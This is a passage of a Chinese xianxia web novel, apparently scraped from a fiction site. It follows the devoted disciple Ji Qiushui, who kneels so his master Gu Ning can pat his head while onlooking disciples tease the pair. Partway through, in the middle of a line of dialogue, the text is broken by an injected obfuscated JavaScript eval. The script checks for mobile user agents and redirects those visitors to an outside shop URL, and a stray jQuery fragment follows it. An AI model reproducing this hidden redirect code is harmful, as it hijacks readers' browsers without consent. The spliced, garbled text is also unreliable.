天芜宗的云雾千年不散,漫过主峰祖师殿的飞檐,绕着东侧那方清幽小院缓缓流淌。四年时光弹指而过,当年那个瘦弱怯懦、满身伤痕的十二岁少年,早已在蛊凝的悉心护持与日夜修炼下,脱胎换骨,长成了身姿挺拔、意气风发的少年郎。
十六岁的季秋水,身形早已远超蛊凝,肩宽腰窄,身姿颀长如青竹,一身与蛊凝同色的绯红衣袍穿在身上,没有半分女气,反倒衬得他眉目俊朗,英气逼人。墨色长发松松束在脑后,几缕碎发垂在额前,随风轻扬,那双与生俱来的黑金色瞳孔,在岁月沉淀与灵气滋养下,愈发璀璨深邃,似藏着万古星河,抬眼间自带少年人的锋芒与傲气,可这份锋芒,唯独在面对蛊凝时,会尽数化作绕指柔,温顺得像只被顺毛的小兽。
这四年里,季秋水的修炼之路依旧是天芜宗千年未有的传奇。从引气入体到如今的化神境,旁人需耗费百年光阴的境界,他只用了短短四年,速度之快,惊得宗内诸位长老整日合不拢嘴,连连感叹祖师娘收了个万年不遇的绝世奇才。可季秋水从不在意旁人的惊叹与赞誉,他所有的努力与精进,都只为一个人——他的师尊,蛊凝。
他记得初见时师尊挡在他身前的身影,记得师尊说他眼睛好看的温柔,记得那句“师尊会永远陪着你”,记得两人一身红衣并肩走在凡间街道的暖意,记得每一个打雷的夜晚,师尊紧紧将他抱在怀里的温度。这些画面,被他小心翼翼藏在心底,日日夜夜,反复回味,成了他修炼路上最坚定的执念。
如今的他,早已不是那个需要躲在师尊身后的弱小少年,他长高了,变强了,足以站在师尊身侧,甚至挡在她身前,为她遮风挡雨。可刻在骨子里的依赖与珍视,从未有过半分消减,反而随着年岁增长,愈发浓烈,几乎要溢出来。
天芜宗上下,无人不知这位季秋水师弟,是祖师娘心尖上唯一的人。
他的房间,就在蛊凝居所的隔壁,一墙之隔,日夜相伴。每日天不亮,季秋水便会准时起身,先去主峰后的灵泉取最清冽的泉水,回来为蛊凝煮上一壶热茶,再备好她爱吃的点心蜜饯,安安静静等在院门口,直到蛊凝推门而出。
清晨的阳光穿过云雾,洒在小院里,落在两人身上。蛊凝依旧是当年那副模样,岁月似乎从未在她身上留下痕迹,一身红衣明艳,眉眼清浅,散漫温柔,站在已然高大挺拔的季秋水身边,反倒显得愈发娇小。
季秋水微微垂着眼,目光一瞬不瞬落在蛊凝身上,黑金色的瞳孔里,盛满了独属于她的温柔与专注,嘴角不自觉勾起一抹浅浅的弧度,那是只有在面对蛊凝时,才会露出的温柔笑意。
“师尊。”
他开口,声音早已褪去少年的青涩,变得低沉悦耳,带着几分少年郎独有的磁性,却又在尾音处,不自觉染上几分软糯的依赖。
蛊凝抬眼,望着眼前比自己高出一个头还多的少年,眼底满是笑意。她习惯了伸手揉他的头发,像四年前那样,指尖轻轻抬起,朝着他的头顶伸去。
可如今的季秋水,实在太高了,她微微抬手,竟有些够不到。
指尖悬在半空,微微一顿。
季秋水几乎是瞬间便察觉到了师尊的动作,眼底笑意更深,没有丝毫犹豫,在众目睽睽之下,缓缓屈膝,半跪了下来。
他身姿挺拔,即便是半跪,也依旧带着少年郎的意气风发,没有半分卑微,只有满心满眼的顺从与珍视。微微低下头,将自己的发顶,乖乖送到蛊凝的指尖之下,黑金色的眼眸微微上抬,一瞬不瞬望着蛊凝,眼底的温柔几乎要溢出来。
“师尊。”
他低声唤着,声音低沉温柔,“这样,师尊就可以摸到了。”
蛊凝的指尖落在他的发顶,发丝柔软顺滑,带着淡淡的草木清香。她轻轻揉了揉,动作依旧是四年前那般温柔,眼底的笑意愈发浓烈:“长高了这么多,以后师尊再想摸你的头发,都要踮脚了。”
“那徒儿便永远为师尊跪下。”季秋水望着她,语气认真而坚定,没有半分玩笑,“只要师尊想,无论何时何地,徒儿都跪下,让师尊摸。”
一句话,说得坦荡自然,仿佛这不是什么屈尊降贵的举动,而是他心甘情愿,甘之如饴的荣幸。
蛊凝的心尖,轻轻一颤。
指尖依旧在他的发顶轻轻摩挲,看着眼前半跪在自己面前,高大挺拔却温顺无比的少年,眼底满是宠溺与温柔。她活了两千多年,见惯了三界众生,却唯独对这个自己亲手捡回来,亲手养大的少年,毫无招架之力。
而这一幕,恰好被路过小院外的几名内门弟子看在眼里。
几人连忙停下脚步,躲在院外的大树后,偷偷往里面瞧,一个个捂着嘴,眼底满是笑意,小声地窃窃私语。
“你们快看!季师弟又给祖师娘半跪摸头了!”
“我的天,也太宠了吧!季师弟现在可是化神境的大佬,在外面冷得跟冰山一样,对谁都不理不睬,结果在祖师娘面前,这么乖!”
“你没听说吗?上次有个外门弟子不小心冲撞了祖师娘,季师弟二话不说,直接把人震飞出去,脸色冷得吓人,可转头对着祖师娘,立马就笑了!”
“关键是他半跪的时候,眼神也太温柔了吧!那双黑金色的眼睛,只看着祖师娘一个人,我都要脸红了!”
“祖师娘也超宠他的!你看那眼神,温柔得都能滴出水来!两人还穿着一样的红衣,站在一起,也太般配了吧!”
“小声点!别被季师弟发现了,他要是知道我们偷看,肯定要生气的!”
弟子们的议论声虽小,却还是清晰地飘进了季秋水的耳中。
若是换做旁人,敢这般议论他与师尊,他早已冷下脸,出手警告。可此刻,他非但没有生气,眼底反而多了几分不易察觉的得意与欢喜。
他就是要让所有人都知道,他是师尊唯一的徒儿,是师尊心尖上的人,是这世间唯一一个,可以让师尊这般温柔对待,也唯一一个,心甘情愿为师尊半跪承温的人。
他微微抬眼,目光不经意间扫过院外,黑金色的眼眸里,闪过一丝淡淡的凌厉,却没有发怒,只是带着一种无声的宣告,宣告着自己对师尊的独占,宣告着这份独属于他的偏爱。
院外的弟子们被他目光一扫,连忙捂住嘴,憋住笑意,不敢再出声,却依旧舍不得离开,继续偷偷看着院内那道温柔动人的画面。
院内,蛊凝还在轻轻揉着季秋水的头发。
“起来吧,一直跪着,累不累?”她轻声道,指尖微微下滑,轻轻拂过他的眉眼,动作温柔细致。
季秋水抓住她的手腕,将她的手掌轻轻贴在自己的脸颊上,微微偏头,脸颊蹭了蹭她的掌心,像一只温顺黏人的小兽,动作亲昵而自然。
“不累。”他低声道,声音带着几分沙哑的温柔,“只要是师尊,做什么,徒儿都不累。”
掌心贴着他温热的脸颊,感受着他细微的蹭动,蛊凝的心软得一塌糊涂。她能清晰地感受到,少年眼底那份浓烈而纯粹的情感,那是依赖,是信任,是珍视,是藏不住的在意。
这些年,季秋水的变化,她都看在眼里。
他长高了,变强了,在外面是意气风发、冷冽凌厉的少年天才,是天芜宗弟子敬畏的季师弟,可只要回到她身边,便永远是那个温顺黏人、满眼都是她的小徒儿。
他会记得她所有的喜好,会在她修炼疲惫时,安安静静守在一旁,为她揉肩捶背;会在她想吃凡间点心时,二话不说下山,跑遍整条街,只为买到她爱吃的那一种;会在打雷的夜晚,悄悄溜进她的房间,蜷缩在她身边,像小时候那样,紧紧抱着她的腰;会时时刻刻跟在她身后,一身红衣,寸步不离,像一道最耀眼的影子。
而她,也早已习惯了身边有他的存在。
习惯了清晨醒来,便能闻到他煮的茶香;习惯了修炼时,身边有一道专注的目光;习惯了抬手,便能摸到他柔软的头发;习惯了无论何时转身,都能看到他站在自己身后,满眼都是她。
季秋水缓缓起身,高大的身影站在蛊凝面前,微微低着头,目光始终落在她的脸上,不曾移开过半分。他比蛊凝高出许多,站在她面前,恰好能将她整个人笼罩在自己的身影之下,形成一种无形的守护。
“师尊,今日天气好,徒儿陪您去后山散步好不好?”他轻声询问,语气带着几分小心翼翼的期待。
蛊凝笑着点头:“好啊,都听你的。”
得到师尊的应允,季秋水眼底瞬间亮起光芒,伸手,自然地牵住蛊凝的手。他的手掌早已宽大温暖,能稳稳地将她的小手包裹在掌心,指尖微微收紧,紧紧牵着,不肯松开。
两人一身红衣,并肩走出小院。
阳光透过云雾,洒在他们身上,红衣相映,身影相依,一高一矮,一冷一柔,构成了一幅温柔得不像话的画面。
一路上,遇到不少天芜宗的弟子,所有人见到两人,都连忙停下脚步,躬身行礼,目光却忍不住偷偷落在两人相牵的手上,落在季秋水温柔的眉眼间,眼底满是笑意,却不敢出声议论。
季秋水对此毫不在意,甚至微微昂首,带着几分不易察觉的得意,紧紧牵着蛊凝的手,步伐沉稳,意气风发。
他就是要让所有人都看见,师尊是他的,他是师尊的,谁也插不进来,谁也比不了。
后山的草木葱郁,灵气浓郁,两人沿着青石小路缓缓前行。
蛊凝偶尔会停下脚步,看看路边的花草,季秋水便也跟着停下,安静地陪在她身边,替她拨开挡路的枝桠,细心地护着她,不让她被树枝刮到。
“师尊,这里的花开得好看,徒儿摘一朵给您簪上好不好?”季秋水指着路边一朵开得正艳的绯色花,轻声问道。
蛊凝笑着点头:“好。”
季秋水小心翼翼地摘下那朵花,走到蛊凝面前,微微弯腰,动作轻柔而认真,将花簪在她的发间。他的指尖不经意间蹭过她的鬓角,带来一丝细微的温热,两人皆是微微一顿。
他抬眼,望着眼前红衣明艳、发间簪花的师尊,黑金色的瞳孔里,倒映着她的身影,再也容不下其他任何东西。
“师尊真好看。”他忍不住低声赞叹,语气真诚而炙热。
蛊凝的脸颊,微微泛起一层淡淡的红晕,抬手,再次想要揉他的头发。
季秋水立刻会意,没有丝毫犹豫,再次缓缓屈膝,半跪下来,微微低下头,将发顶乖乖送到她的指尖,眼底满是温顺与笑意。
“师尊。”
他低声唤着,声音温柔得能滴出水来。
阳光落在两人身上,红衣与繁花相映,少年半跪,垂首承温,女子站在身前,指尖轻揉他的发顶,温柔缱绻,岁月静好。
不远处的树丛后,几个弟子偷偷看着这一幕,一个个捂着嘴,笑得一脸姨母笑,眼底满是激动。
“我的天!又半跪了!也太好磕了吧!”
“季师弟真的好宠祖师娘啊!我这辈子都没见过这么乖的少年郎!”
“祖师娘也超温柔的!两人站在一起,真的太配了!”
“完了完了,我彻底磕疯了!这对师徒也太甜了吧!”
议论声轻轻飘来,季秋水嘴角的笑意愈发浓烈。
他不在乎旁人如何议论,不在乎世俗眼光如何看待,他只知道,眼前这个人,是救赎他一生的光,是他倾尽所有,也要守护一生的师尊。
只要师尊喜欢,他可以永远这般,为她低头,为她屈膝,为她倾尽一切。
蛊凝的指尖轻轻揉着他的头发,感受着掌心的柔软与温热,看着眼前半跪在自己面前,满眼都是她的少年,眼底的温柔,几乎要溢满整个后山。
风轻轻吹过,拂动两人的红衣,衣袂翻飞,相依相伴。
十六岁的少年郎,意气风发,身姿挺拔,却甘愿为她俯首,半跪承温。
两千岁的师尊,红衣明艳,温柔散漫,却独独对他宠溺,满心偏爱。
天芜宗的晨雾总是来得轻柔,绕着主峰的飞檐流转,将整座仙山笼在一片朦胧灵气里。天还未彻底亮透,东侧小院里已经飘出淡淡的茶香,是季秋水天不亮就起身,用后山灵泉煮的师尊最爱的清茗。
十六岁的少年身形挺拔如松,比蛊凝高出大半个头,一身绯色红衣穿得利落又张扬,墨发束起,额角垂落几缕碎发,衬得那张本就清俊的脸愈发夺目。黑金色的眼眸平日里对旁人冷冽如冰,可只要望向蛊凝,瞬间就化得温软,连眼尾都带着浅浅的笑意。
蛊凝推门出来时,季秋水已经将茶盏、点心、蜜饯一一摆好,动作细致又熟练。看见她,少年立刻迎上前,自然地伸手扶住她的手臂,声音低沉又温顺:“师尊,昨夜睡得可好?”
“很好。”蛊凝抬眼望着他,眉眼间都是散漫的温柔,习惯性地抬起手,想去揉一揉他的发顶。
季秋水几乎是本能反应,没有丝毫停顿,在满院晨光里缓缓屈膝,单膝半跪在地,微微低下头,将柔软的发顶乖乖送到她指尖下。明明是意气风发的化神境少年,在宗门里连长老都要礼让三分,可在蛊凝面前,半跪得坦荡又心甘情愿,黑金色的眼眸微微上抬,只望着她一人,温顺得不像话。
“师尊摸吧。”
他低声开口,语气里没有半分勉强,反倒像是得了天大的荣幸。
蛊凝的指尖落在他的发间,轻轻揉了揉,笑着叹一句:“都长这么高了,还要师尊弯腰。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338214|199268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“只要师尊想,徒儿永远都跪。”季秋水仰起脸,认真地看着她,“无论在何处,无论何时,只要师尊抬手,徒儿就低头。”
这话听得蛊凝心尖发软,指尖忍不住轻轻刮了一下他的眉骨。
这一幕恰好被清晨前来请安的几名内门弟子看在眼里,几人立刻停在院门外,不敢出声打扰,只捂着嘴偷偷笑,眼神里全是藏不住的起哄意味。
“快看快看,季师弟又半跪给祖师娘摸头了……”
“小声点,被他听见又要冷脸了,也就祖师娘能让他这么乖。”
“你看他那眼神,全程只盯着祖师娘,旁人连个余光都没有。”
“两人还穿一样的红衣,站在一起真的太配了吧……”
弟子们的窃窃私语虽轻,却瞒不过季秋水的耳朵。若是换作别人敢这样议论他与师尊,他早便冷脸示意退下,可此刻他非但不恼,唇角反而微微上扬,带着一丝不易察觉的得意。
他就是要让整个天芜宗都知道,蛊凝是他的师尊,是只疼他一个人的师尊。
蛊凝收回手,季秋水才缓缓起身,高大的身影微微前倾,自然而然地替她理了理微乱的红衣衣角,动作亲昵又自然,全然没有师徒间的生疏。“师尊,今日先练剑还是先品茶?”
“听你的。”蛊凝向来随性,凡事都由着他。
季秋水眼底立刻亮了几分,牵着她的手走到青石桌边,先将温好的茶递到她手中,再把桂花糕推到她面前,自己则坐在她身侧,目光一瞬不瞬地看着她,仿佛怎么看都不够。
他如今在宗门里已是人人敬畏的存在,修炼天赋逆天,年纪轻轻便踏入化神境,出手凌厉,性子冷淡,对谁都保持着距离。外门弟子不小心冲撞了蛊凝,他二话不说便以灵力震开,脸色冷得吓人;长老向他请教功法,他也只淡淡几句提点,从不多言。可只要回到这座小院,回到蛊凝身边,所有的锋芒都会收起,只剩下黏人、温顺、满心满眼的依赖。
用过早点,季秋水陪着蛊凝往演武场走去。
一路上不断有弟子行礼,目光总是忍不住在两人相牵的手上打转。红衣相衬,一高一矮,女子散漫温柔,少年挺拔耀眼,怎么看都让人移不开眼。弟子们低着头,嘴角却都偷偷扬着,一路目送两人走过,才敢小声议论。
“祖师娘和季师弟感情也太好了吧,天天都在一起。”
“季师弟现在这么厉害,可是在祖师娘面前,还是跟小时候一样乖。”
“你没发现吗?季师弟只对祖师娘笑,对我们连话都懒得说。”
“那是当然,祖师娘可是把他从小带到大的,独一份的偏爱。”
季秋水将这些议论尽数听在耳中,非但不恼,反而握蛊凝的手更紧了些,微微昂首,带着少年人独有的意气风发,也带着一丝明目张胆的占有。
演武场上,弟子们正在练剑,见到蛊凝与季秋水,立刻收剑行礼。不少弟子的目光落在季秋水身上,带着崇拜——这位年纪轻轻便实力超群的师弟,是整个天芜宗的骄傲。可季秋水连眼神都没分给他们,全程专注地看着蛊凝,轻声问:“师尊,今日要指点弟子练剑吗?”
“你来吧。”蛊凝往旁边退了一步,笑着看向他,“师尊看你练。”
“好。”
季秋水应声,执起一旁的绯色长剑。
拔剑的瞬间,少年周身气势骤变,红衣翻飞,剑光凌厉,招式利落又霸道,正是蛊凝当年传授他的梧怨剑法。每一招每一式都带着少年人的意气风发,身形矫健,身姿挺拔,看得场中弟子连连惊叹。
可即便在练剑,他的目光也始终没有离开过蛊凝。每一次转身、每一次挥剑,眼角余光都牢牢锁着那道红衣身影,仿佛只要她在,他便有无限力气。
一套剑招练完,场中一片寂静,随即爆发出阵阵赞叹。
季秋水收剑,额角渗出一层薄汗,却顾不上擦,第一时间快步走回蛊凝身边,微微弯腰,声音带着练剑后的微哑:“师尊,弟子练得如何?”
“很好。”蛊凝抬手,想替他擦去额角的汗。
季秋水立刻又屈膝半跪下来,方便她触碰,黑金色的眼眸温顺地望着她,任由她的指尖轻轻擦过自己的眉骨、额角。温热的指尖触碰到皮肤,少年的心跳不自觉加快,耳尖微微泛红,却一动不动,乖乖任由她动作。
这一幕落在弟子们眼中,又是一阵偷偷的哄笑。
“我的天,半跪+摸额头,也太甜了吧!”
“季师弟真的好宠祖师娘啊,什么都顺着她。”
“祖师娘看他的眼神也太温柔了,我都要脸红了!”
蛊凝收回手,看着他耳尖的微红,忍不住轻笑:“怎么脸红了?”
季秋水垂眸,声音低低的,带着一丝不易察觉的羞涩:“只是……师尊碰我,徒儿开心。”
他起身,自然地牵回她的手,不愿再让她被众人围观,低声道:“师尊,我们回小院吧,我给您煮新采的花茶。”
“好。”
两人再次并肩离去,红衣身影渐渐消失在云雾中。
弟子们看着他们的背影,终于忍不住小声笑开,你一言我一语,全是对这对师徒的羡慕与打趣。
回到小院,季秋水打水替蛊凝洗手,又忙着煮茶,忙前忙后,却乐在其中。蛊凝坐在竹椅上,看着他忙碌的身影,眼底满是宠溺。
少年长高了,变强了,有了独当一面的能力,可对她的依赖与顺从,从未变过。
煮好茶,季秋水挨着她坐下,自然而然地将头轻轻靠在她的肩上,像小时候那样黏着她。明明已经是高大挺拔的少年郎,却依旧喜欢黏在师尊身边,贪恋她身上的温度与气息。
“师尊,”他闷闷地开口,声音带着满足,“这样真好。”
“嗯?”蛊凝轻轻揉着他的头发,动作温柔。
“能一直陪着师尊,最好。”季秋水收紧手臂,轻轻环住她的腰,将脸埋得更深,“我不想长大,不想离开师尊,想永远这样陪着你。”
蛊凝轻笑,指尖顺着他的发丝:“傻徒儿,不管长多大,都是师尊的徒儿,师尊永远陪着你。”
季秋水的心猛地一暖,心跳微微加速,紧紧抱着她,不愿松开。
院外的阳光正好,云雾轻柔,红衣相依,时光安静又温柔。天芜宗的弟子们早已习惯了这对师徒的模样,习惯了那位冷冽耀眼的少年天才,只在红衣师尊面前俯首半跪、温顺黏人;习惯了那位散漫千年的武神祖师,唯独对这一位徒儿倾尽温柔、满眼偏爱。
风拂过小院,卷起红衣衣角,茶香袅袅,温柔缱绻。
这是属于蛊凝与季秋水的,最安稳甜腻的宗门日常。